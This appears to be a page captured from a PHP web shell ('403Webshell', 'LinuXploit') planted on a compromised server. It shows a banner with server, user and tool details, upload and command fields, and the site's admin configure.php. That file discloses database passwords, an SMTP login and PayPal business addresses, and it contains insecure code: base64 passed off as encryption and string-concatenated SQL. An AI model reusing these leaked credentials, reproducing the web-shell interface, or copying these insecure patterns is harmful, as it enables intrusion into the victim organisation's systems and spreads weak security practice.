403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/webadmin/configure.php
<?php
	/*if (!function_exists('get_client_ip')) {
		// Function to get the client IP address
		function get_client_ip() {
			$ipaddress = '';
			if (isset($_SERVER['HTTP_CLIENT_IP']))
				$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
			else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
				$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
			else if(isset($_SERVER['HTTP_X_FORWARDED']))
				$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
			else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
				$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
			else if(isset($_SERVER['HTTP_FORWARDED']))
				$ipaddress = $_SERVER['HTTP_FORWARDED'];
			else if(isset($_SERVER['REMOTE_ADDR']))
				$ipaddress = $_SERVER['REMOTE_ADDR'];
			else
				$ipaddress = 'UNKNOWN';
			return $ipaddress;
		}
	}

	$user_ip = get_client_ip();
	$block_ip = array("210.3.0.218", "61.244.105.228", "45.64.243.11", "45.64.243.111", "210.6.247.161");

	if (in_array($user_ip, $block_ip)){
		header("Location: ../404.html");
		exit;
	}*/

	//only for m.musiccircle.hk
	/*include('libraies/mobile_detect/Mobile_Detect.php');
	$detect = new Mobile_Detect;

	// Exclude tablets.
	if( $detect->isMobile() && !$detect->isTablet() ){

	}else{
		header("Location: http://www.hkosl.com/imusiccircle/");
		exit;
	}*/

	//check if browsing http://www.imusiccircle.com/
	//var_dump(strpos($_SERVER['HTTP_HOST'], "www.imusiccircle.com") > 0);
	/*if($_SERVER['HTTP_HOST'] == "www.muscircle.com"){
		header("Location: http://www.imusiccircle.com");
		exit;
	}*/

	//$debug_tool = true;
	if(isset($_SESSION["cmsrole"]) && $_SESSION["cmsrole"] == "super_admin"){
		$debug_tool = true;
	}else{
		$debug_tool = false;
	}

	$_database	= array(
		'driver'    => 'mysql',
		'charset'   => 'utf8',
		'collation' => 'utf8_general_ci',
		'database'  => 'dev_imusiccircle',
		'prefix'    => '',
		'host'      => '192.168.155.13',
		'username'  => 'admin',
		'password'  => 'PHac7dru', 
	);

	define("PRODUCTION", 0);

	if(PRODUCTION == 1){
		$_database	= array(
			'driver'    => 'mysql',
			'charset'   => 'utf8',
			'collation' => 'utf8_general_ci',
			'database'  => 'muscircledb',
			'prefix'    => '',
			'host'      => 'localhost',
			'username'  => 'muscirclesa',
			'password'  => 'Mus.#0933',
		);

		//error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
		error_reporting(E_ALL ^E_NOTICE ^E_DEPRECATED ^E_WARNING);
		ini_set('display_errors', 0);

		define("PAYPAL_URL", "https://www.paypal.com/row/cgi-bin/webscr");
		define("PAYPAL_BUSINESS", "finance@musiccircle.hk");
		define("EXTRA_URL", "");
		define("EXTRA_URL2", "");
		define("SEND_EMAIL", 1);
	}else{
		$_database	= array(
			'driver'    => 'mysql',
			'charset'   => 'utf8',
			'collation' => 'utf8_general_ci',
			'database'  => 'dev_imusiccircle',
			'prefix'    => '',
			'host'      => '192.168.171.23',
			'username'  => 'admin',
			'password'  => 'PHac7dru',
		);

		//error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
		error_reporting(E_ALL ^E_NOTICE ^E_DEPRECATED ^E_WARNING);
		ini_set('display_errors', 1);

		define("PAYPAL_URL", "https://www.sandbox.paypal.com/row/cgi-bin/webscr");
		define("PAYPAL_BUSINESS", "gsell_1323239795_biz@onesolution.com.hk");
		define("EXTRA_URL", "m.musiccircle/");
		define("EXTRA_URL2", "/m.musiccircle");
		define("SEND_EMAIL", 0);
	}


	// Require composer autoloader
	require_once __DIR__ . '/libraies/autoload.php';

	// temp database include for webadmin2
	require_once "database.php";

	ini_set('session.gc_maxlifetime', 3600*24);

	if (session_id() === "") {
		session_start();
	}

	ini_set('session.cookie_httponly', 1);

	header("Content-Type:text/html; charset=utf-8");
	//header("x-frame-options:SAMEORIGIN");

	$dbh->exec("set names utf8");

	date_default_timezone_set("Asia/Hong_Kong");

	$nowdate = date("Y-m-d H:i:s");

	if (!isset($_SESSION["langcode"])) {
		$_SESSION["langcode"] = "cn";
	}

	$langcode = $_SESSION["langcode"];

	if(isset($_GET["wlangcode"])){
		$_SESSION["wlangcode"] = $_GET["wlangcode"];
		$wlangcode = $_SESSION["wlangcode"];

		header("Location: ".$_SERVER['HTTP_REFERER']);
	}else if(!isset($_SESSION["wlangcode"])){
		$_SESSION["wlangcode"] = "cn";
		$wlangcode = $_SESSION["wlangcode"];
	}else{
		$wlangcode = $_SESSION["wlangcode"];
	}


	if($debug_tool){
		$whoops = new Whoops\Run();
		$handler = new Whoops\Handler\PrettyPageHandler();
		$handler->setEditor('sublime');
		$whoops->pushHandler($handler)->register();
		if (Whoops\Util\Misc::isAjaxRequest()) {
			$whoops->pushHandler(new Whoops\Handler\JsonResponseHandler);
		}
	}

	include_once "_helpers.php";

	$session_factory = new \Aura\Session\SessionFactory;
	$session = $session_factory->newInstance($_COOKIE);
	$segment = $session->getSegment('Onesolution\Frontend');


	include('../phpmailer/class.phpmailer.php');

	if (!function_exists('aes_crypt')) {
		function aes_crypt($data, $encrypt_decrypt){
			if ($encrypt_decrypt == 1) {
				if (!empty($data)) {
					return base64_encode(base64_encode(base64_encode($data)));
				} else {
					return;
				}
			}
			if ($encrypt_decrypt == 2) {
				if (!empty($data)) {
					return base64_decode(base64_decode(base64_decode($data)));
				} else {
					return;
				}
			}
		}
	}
	function sendEmail2( $to, $subject, $content_arr = array(), $sender_name, $sender_email, $map_file ) {
		$headers  = "From: ".$sender_name." <".$sender_email.">\r\n";
		$headers .= "MIME-Version: 1.0\r\n";
		$headers .= "Content-type: text/html; charset=uft-8\r\n";
		$headers .= "Reply-To: ".$sender_name."<".$sender_email.">\r\n";
		$headers .= "Return-Path: ".$sender_name."<".$sender_email.">\r\n";
		$headers .= "Message-ID: <".time()." ".$sender_email.">\r\n";
		$headers .= "X-Mailer: PHP v".phpversion()."\r\n";
		$msg = file_get_contents( $map_file );
		$msg = str_replace('{sender_email}', $sender_email, $msg);
		$subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
		foreach ( $content_arr as $key=>$value ){
			$msg = str_replace('{'.$key.'}', $value, $msg);
		}
		return mail($to, $subject, $msg, $headers);
	}
	function sendEmail( $to, $subject, $content_arr = array(), $sender_name, $sender_email, $map_file ,$form_name) {
		$headers  = "From: ".$sender_name." <".$sender_email.">\r\n";
		$headers .= "MIME-Version: 1.0\r\n";
		$headers .= "Content-type: text/html; charset=uft-8\r\n";
		$headers .= "Reply-To: ".$sender_name."<".$sender_email.">\r\n";
		$headers .= "Return-Path: ".$sender_name."<".$sender_email.">\r\n";
		$headers .= "Message-ID: <".time()." ".$sender_email.">\r\n";
		$headers .= "X-Mailer: PHP v".phpversion()."\r\n";

		$msg = file_get_contents( $map_file );

		$msg = str_replace('{sender_email}', $sender_email, $msg);

		foreach ( $content_arr as $key=>$value ){
			$msg = str_replace('{'.$key.'}', $value, $msg);
		}
		$x_mail = new PHPMailer();
		$x_mail->IsSMTP();
		//$x_mail->SMTPDebug  = 2;
		$x_mail->Host = 'smtp.sendgrid.net';                // Specify main and backup server
		$x_mail->Port = 587;                                // Set the SMTP port
		$x_mail->SMTPAuth = true;                           // Enable SMTP authentication
		$x_mail->Username = 'it.support@imusiccircle.com';  // SMTP username
		$x_mail->Password = 'Imu..1713';                  	// SMTP password
		$x_mail->SMTPSecure = 'tls';

		$x_mail->CharSet  = "UTF-8";
		$x_mail->Sender   = $to;
		//$x_mail->AddReplyTo($enquiryemail, $company_name);
		$x_mail->From     = $sender_email;
		$x_mail->FromName = $sender_name;

		$x_mail->AddAddress($to, $form_name);
		//$x_mail->AddBCC("kelvinchan@onesolution.com.hk", "");
		$x_mail->WordWrap = 50;
		$x_mail->IsHTML(true);
		$x_mail->Subject = $subject;
		$x_mail->Body    = $msg;
		if($x_mail->Send()){
			return 'OK';
		}else{
			return 'FAIL';
		}
	}
	function formatPostData( $datas = array(), $filter = array(), $kill_empty = false ) {
		if (count($datas)<1) return $datas;
		$main_keys = array_keys($datas[current(array_keys($datas))]);
		$sub_keys = array_keys($datas);
		foreach($main_keys as $main_key) {
			$empty = true;
			foreach($sub_keys as $sub_key) {
				$data[$main_key][$sub_key] = $datas[$sub_key][$main_key];
				$empty = !empty($data[$main_key][$sub_key])&&!in_array($sub_key, $filter) ? false : $empty;
			}
			if ($kill_empty && $empty) array_pop($data);
		}
		return $data;
	}
	function mysql_install($array,$table,$action='add',$idname="",$id="",$type=1){ //array字串(array_keys),db table name,add=新db edit=修改,del= 刪除
		$arraykey=array_keys($array);
		if($action=='add'){
			$sql= "INSERT INTO `".$table."` (";
			for($i=0;$i<count($array);$i++){
				if($i+1<count($array)){
					$dot=',';
				}else{
					$dot='';
				}
				$sql.= "`".$arraykey[$i]."`".$dot;
			}
			$sql.= ') values (';
			for($i=0;$i<count($array);$i++){
				if($i+1<count($array)){
					$dot=',';
				}else{
					$dot='';
				}
				//$sql.= "'".$array[$arraykey[$i]]."'".$dot;
				if($type==2){
					$sql.= "'".$array[$arraykey[$i]]."'".$dot;
				}else if($type==1){
					$sql.= "?".$dot;
				}
			}
			$sql.= ')';
		}else if($action=='edit'){
			$sql="UPDATE `".$table."` SET ";
			for($i=0;$i<count($array);$i++){
				if($i+1<count($array)){
					$dot=',';
				}else{
					$dot='';
				}
				//$sql.= "`".$arraykey[$i]."` = '".$array[$arraykey[$i]]."'".$dot;
				$sql.= "`".$arraykey[$i]."` = ?".$dot;
			}
			if($type==2){
				$sql.=" WHERE `".$table."`.`".$idname."` =".$id.";";
			}else if($type==1){
				$sql.=" WHERE `".$table."`.`".$idname."` =?;";
			}
		}else if($action=='del'){
			$sql.="DELETE FROM `".$table."` WHERE `".$table."`.`".$idname."` =".$id;
		}
		return $sql;
	}

	require_once("_functions.php");

Youez - 2016 - github.com/yon3zu
LinuXploit